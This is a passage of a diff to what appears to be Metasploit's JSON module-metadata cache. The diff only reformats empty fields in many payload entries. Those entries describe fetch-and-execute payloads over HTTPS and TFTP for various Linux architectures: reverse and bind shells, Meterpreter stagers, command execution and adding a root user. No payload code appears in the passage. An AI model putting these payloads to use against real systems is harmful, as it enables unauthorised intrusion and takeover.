+ "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208016,9 +184666,7 @@ "payload_cmd/linux/https/x86/shell_bind_ipv6_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Inline (IPv6)", "fullname": "payload/cmd/linux/https/x86/shell_bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208028,9 +184676,7 @@ "kris katterjohn " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for a connection over IPv6 and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208044,8 +184690,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208056,9 +184701,7 @@ "payload_cmd/linux/https/x86/shell_bind_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/https/x86/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208068,9 +184711,7 @@ "Ramon de C Valle " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208084,8 +184725,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208096,9 +184736,7 @@ "payload_cmd/linux/https/x86/shell_bind_tcp_random_port": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Random Port Inline", "fullname": "payload/cmd/linux/https/x86/shell_bind_tcp_random_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208126,8 +184764,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208138,9 +184775,7 @@ "payload_cmd/linux/https/x86/shell_find_port": { "name": "HTTPS Fetch, Linux Command Shell, Find Port Inline", "fullname": "payload/cmd/linux/https/x86/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208150,9 +184785,7 @@ "Ramon de C Valle " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208166,8 +184799,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208178,9 +184810,7 @@ "payload_cmd/linux/https/x86/shell_find_tag": { "name": "HTTPS Fetch, Linux Command Shell, Find Tag Inline", "fullname": "payload/cmd/linux/https/x86/shell_find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208190,9 +184820,7 @@ "skape " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nSpawn a shell on an established connection (proxy/nat safe)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208206,8 +184834,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208218,9 +184845,7 @@ "payload_cmd/linux/https/x86/shell_reverse_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/https/x86/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208231,9 +184856,7 @@ "joev " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208247,8 +184870,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208259,9 +184881,7 @@ "payload_cmd/linux/https/x86/shell_reverse_tcp_ipv6": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Inline (IPv6)", "fullname": "payload/cmd/linux/https/x86/shell_reverse_tcp_ipv6", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208271,9 +184891,7 @@ "Matteo Malvica " ], "description": "Fetch and execute an x86 payload from an HTTPS server.\nConnect back to attacker and spawn a command shell over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208287,8 +184905,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208299,9 +184916,7 @@ "payload_cmd/linux/tftp/aarch64/meterpreter/reverse_tcp": { "name": "TFTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/aarch64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208311,9 +184926,7 @@ "Adam Cammack " ], "description": "Fetch and execute an AARCH64 payload from a TFTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208327,8 +184940,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208341,9 +184953,7 @@ "payload_cmd/linux/tftp/aarch64/meterpreter_reverse_http": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/aarch64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208355,9 +184965,7 @@ "timwr" ], "description": "Fetch and execute an AARCH64 payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208371,8 +184979,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208383,9 +184990,7 @@ "payload_cmd/linux/tftp/aarch64/meterpreter_reverse_https": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/aarch64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208397,9 +185002,7 @@ "timwr" ], "description": "Fetch and execute an AARCH64 payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208413,8 +185016,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208425,9 +185027,7 @@ "payload_cmd/linux/tftp/aarch64/meterpreter_reverse_tcp": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/aarch64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208439,9 +185039,7 @@ "timwr" ], "description": "Fetch and execute an AARCH64 payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208455,8 +185053,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208467,9 +185064,7 @@ "payload_cmd/linux/tftp/aarch64/shell/reverse_tcp": { "name": "TFTP Fetch, Linux dup2 Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/aarch64/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208478,9 +185073,7 @@ "Spencer McIntyre" ], "description": "Fetch and execute an AARCH64 payload from a TFTP server.\ndup2 socket in x12, then execve.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208494,8 +185087,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208508,9 +185100,7 @@ "payload_cmd/linux/tftp/aarch64/shell_reverse_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/tftp/aarch64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208519,9 +185109,7 @@ "Spencer McIntyre" ], "description": "Fetch and execute an AARCH64 payload from a TFTP server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208535,8 +185123,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208547,9 +185134,7 @@ "payload_cmd/linux/tftp/armbe/meterpreter_reverse_http": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/armbe/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208561,9 +185146,7 @@ "timwr" ], "description": "Fetch and execute an ARMBE payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208577,8 +185160,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208589,9 +185171,7 @@ "payload_cmd/linux/tftp/armbe/meterpreter_reverse_https": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/armbe/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208603,9 +185183,7 @@ "timwr" ], "description": "Fetch and execute an ARMBE payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208619,8 +185197,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208631,9 +185208,7 @@ "payload_cmd/linux/tftp/armbe/meterpreter_reverse_tcp": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/armbe/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208645,9 +185220,7 @@ "timwr" ], "description": "Fetch and execute an ARMBE payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208661,8 +185234,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208673,9 +185245,7 @@ "payload_cmd/linux/tftp/armbe/shell_bind_tcp": { "name": "TFTP Fetch, Linux ARM Big Endian Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/tftp/armbe/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208701,8 +185271,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208713,9 +185282,7 @@ "payload_cmd/linux/tftp/armle/adduser": { "name": "TFTP Fetch, Linux Add User", "fullname": "payload/cmd/linux/tftp/armle/adduser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208725,9 +185292,7 @@ "Jonathan Salwan" ], "description": "Fetch and execute an ARMLE payload from a TFTP server.\nCreate a new user with UID 0", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208741,8 +185306,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208753,9 +185317,7 @@ "payload_cmd/linux/tftp/armle/exec": { "name": "TFTP Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/tftp/armle/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208765,9 +185327,7 @@ "Jonathan Salwan" ], "description": "Fetch and execute an ARMLE payload from a TFTP server.\nExecute an arbitrary command", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208781,8 +185341,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208793,9 +185352,7 @@ "payload_cmd/linux/tftp/armle/meterpreter/bind_tcp": { "name": "TFTP Fetch, Bind TCP Stager", "fullname": "payload/cmd/linux/tftp/armle/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208806,9 +185363,7 @@ "nemo " ], "description": "Fetch and execute an ARMLE payload from a TFTP server.\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208822,8 +185377,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208836,9 +185390,7 @@ "payload_cmd/linux/tftp/armle/meterpreter/reverse_tcp": { "name": "TFTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/armle/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208850,9 +185402,7 @@ "tkmru" ], "description": "Fetch and execute an ARMLE payload from a TFTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208866,8 +185416,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208880,9 +185429,7 @@ "payload_cmd/linux/tftp/armle/meterpreter_reverse_http": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/armle/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208894,9 +185441,7 @@ "timwr" ], "description": "Fetch and execute an ARMLE payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208910,8 +185455,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208922,9 +185466,7 @@ "payload_cmd/linux/tftp/armle/meterpreter_reverse_https": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/armle/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208936,9 +185478,7 @@ "timwr" ], "description": "Fetch and execute an ARMLE payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208952,8 +185492,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -208964,9 +185503,7 @@ "payload_cmd/linux/tftp/armle/meterpreter_reverse_tcp": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/armle/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -208978,9 +185515,7 @@ "timwr" ], "description": "Fetch and execute an ARMLE payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -208994,8 +185529,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209006,9 +185540,7 @@ "payload_cmd/linux/tftp/armle/shell/bind_tcp": { "name": "TFTP Fetch, Linux dup2 Command Shell, Bind TCP Stager", "fullname": "payload/cmd/linux/tftp/armle/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209018,9 +185550,7 @@ "nemo " ], "description": "Fetch and execute an ARMLE payload from a TFTP server.\ndup2 socket in r12, then execve.\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209034,8 +185564,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209048,9 +185577,7 @@ "payload_cmd/linux/tftp/armle/shell/reverse_tcp": { "name": "TFTP Fetch, Linux dup2 Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/armle/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209061,9 +185588,7 @@ "tkmru" ], "description": "Fetch and execute an ARMLE payload from a TFTP server.\ndup2 socket in r12, then execve.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209077,8 +185602,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209091,9 +185615,7 @@ "payload_cmd/linux/tftp/armle/shell_bind_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/tftp/armle/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209104,9 +185626,7 @@ "hal" ], "description": "Fetch and execute an ARMLE payload from a TFTP server.\nConnect to target and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209120,8 +185640,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209132,9 +185651,7 @@ "payload_cmd/linux/tftp/armle/shell_reverse_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/tftp/armle/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209144,9 +185661,7 @@ "civ" ], "description": "Fetch and execute an ARMLE payload from a TFTP server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209160,8 +185675,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209172,9 +185686,7 @@ "payload_cmd/linux/tftp/mips64/meterpreter_reverse_http": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/mips64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209186,9 +185698,7 @@ "timwr" ], "description": "Fetch and execute a MIPS64 payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209202,8 +185712,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209214,9 +185723,7 @@ "payload_cmd/linux/tftp/mips64/meterpreter_reverse_https": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/mips64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209228,9 +185735,7 @@ "timwr" ], "description": "Fetch and execute a MIPS64 payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209244,8 +185749,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209256,9 +185760,7 @@ "payload_cmd/linux/tftp/mips64/meterpreter_reverse_tcp": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/mips64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209270,9 +185772,7 @@ "timwr" ], "description": "Fetch and execute a MIPS64 payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209286,8 +185786,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209298,9 +185797,7 @@ "payload_cmd/linux/tftp/mipsbe/exec": { "name": "TFTP Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/tftp/mipsbe/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209327,8 +185824,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209339,9 +185835,7 @@ "payload_cmd/linux/tftp/mipsbe/meterpreter/reverse_tcp": { "name": "TFTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/mipsbe/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209353,9 +185847,7 @@ "tkmru" ], "description": "Fetch and execute an MIPSBE payload from a TFTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209369,8 +185861,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209383,9 +185874,7 @@ "payload_cmd/linux/tftp/mipsbe/meterpreter_reverse_http": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/mipsbe/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209397,9 +185886,7 @@ "timwr" ], "description": "Fetch and execute an MIPSBE payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209413,8 +185900,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209425,9 +185911,7 @@ "payload_cmd/linux/tftp/mipsbe/meterpreter_reverse_https": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/mipsbe/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209439,9 +185923,7 @@ "timwr" ], "description": "Fetch and execute an MIPSBE payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209455,8 +185937,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209467,9 +185948,7 @@ "payload_cmd/linux/tftp/mipsbe/meterpreter_reverse_tcp": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/mipsbe/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209481,9 +185960,7 @@ "timwr" ], "description": "Fetch and execute an MIPSBE payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209497,8 +185974,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209509,9 +185985,7 @@ "payload_cmd/linux/tftp/mipsbe/reboot": { "name": "TFTP Fetch, Linux Reboot", "fullname": "payload/cmd/linux/tftp/mipsbe/reboot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209538,8 +186012,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209550,9 +186023,7 @@ "payload_cmd/linux/tftp/mipsbe/shell/reverse_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/mipsbe/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209563,9 +186034,7 @@ "tkmru" ], "description": "Fetch and execute an MIPSBE payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209579,8 +186048,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209593,9 +186061,7 @@ "payload_cmd/linux/tftp/mipsbe/shell_bind_tcp": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/tftp/mipsbe/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209608,9 +186074,7 @@ "juan vazquez " ], "description": "Fetch and execute an MIPSBE payload from a TFTP server.\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209624,8 +186088,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209636,9 +186099,7 @@ "payload_cmd/linux/tftp/mipsbe/shell_reverse_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/tftp/mipsbe/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209665,8 +186126,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209677,9 +186137,7 @@ "payload_cmd/linux/tftp/mipsle/exec": { "name": "TFTP Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/tftp/mipsle/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209706,8 +186164,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209718,9 +186175,7 @@ "payload_cmd/linux/tftp/mipsle/meterpreter/reverse_tcp": { "name": "TFTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/mipsle/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209732,9 +186187,7 @@ "tkmru" ], "description": "Fetch and execute an MIPSLE payload from a TFTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209748,8 +186201,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209762,9 +186214,7 @@ "payload_cmd/linux/tftp/mipsle/meterpreter_reverse_http": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/mipsle/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209776,9 +186226,7 @@ "timwr" ], "description": "Fetch and execute an MIPSLE payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209792,8 +186240,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209804,9 +186251,7 @@ "payload_cmd/linux/tftp/mipsle/meterpreter_reverse_https": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/mipsle/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209818,9 +186263,7 @@ "timwr" ], "description": "Fetch and execute an MIPSLE payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209834,8 +186277,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209846,9 +186288,7 @@ "payload_cmd/linux/tftp/mipsle/meterpreter_reverse_tcp": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/mipsle/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209860,9 +186300,7 @@ "timwr" ], "description": "Fetch and execute an MIPSLE payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209876,8 +186314,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209888,9 +186325,7 @@ "payload_cmd/linux/tftp/mipsle/reboot": { "name": "TFTP Fetch, Linux Reboot", "fullname": "payload/cmd/linux/tftp/mipsle/reboot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209917,8 +186352,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209929,9 +186363,7 @@ "payload_cmd/linux/tftp/mipsle/shell/reverse_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/mipsle/shell/reverse_tcp", - 